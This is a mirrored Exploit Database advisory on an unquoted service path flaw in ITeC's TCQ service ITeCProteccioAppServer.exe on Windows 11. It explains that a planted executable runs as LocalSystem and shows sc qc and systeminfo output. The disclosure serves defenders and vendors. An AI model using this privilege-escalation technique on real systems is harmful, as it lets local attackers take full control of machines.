TCQ – ITeCProteccioAppServer.exe – Unquoted Service Path

• Exploit Database
• 12 阅读

• 作者： Edgar Carrillo Egea
  日期： 2022-05-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50902/

• # Exploit Title: TCQ - 'ITeCProteccioAppServer.exe'Unquoted Service Path
  # Discovery by: Edgar Carrillo Egea - https://twitter.com/ecarrilloeg
  # Discovery Date: 2022-04-25
  # Vendor Homepage: https://itec.es/programas/
  # Vulnerability Type: Unquoted Service Path Privilege Escalation
  # Tested on OS: Microsoft Windows 11 Home
  
  To properly exploit this vulnerability,
  the local attacker must insert an executable file in the path of the service.
  Upon service restart or system reboot, the malicious code will be run
  with elevated privileges.
  
  
  C:\Users\edgar>sc qc "ITeCProteccioAppServer"
  [SC] QueryServiceConfig CORRECTO
  
  NOMBRE_SERVICIO: ITeCProteccioAppServer
  TIPO : 110WIN32_OWN_PROCESS (interactive)
  TIPO_INICIO: 2 AUTO_START
  CONTROL_ERROR: 1 NORMAL
  NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ITeC\LIC\ITeCProteccioAppServer.exe
  GRUPO_ORDEN_CARGA:
  ETIQUETA : 0
  NOMBRE_MOSTRAR : ITeCProteccioAppServer
  DEPENDENCIAS : RPCSS
  NOMBRE_INICIO_SERVICIO: LocalSystem
  
  C:\Users\edgar>systeminfo
  
  Nombre de host:DESKTOP-0DL5SID
  Nombre del sistema operativo:Microsoft Windows 11 Home
  Versión del sistema operativo: 10.0.22000 N/D Compilación 22000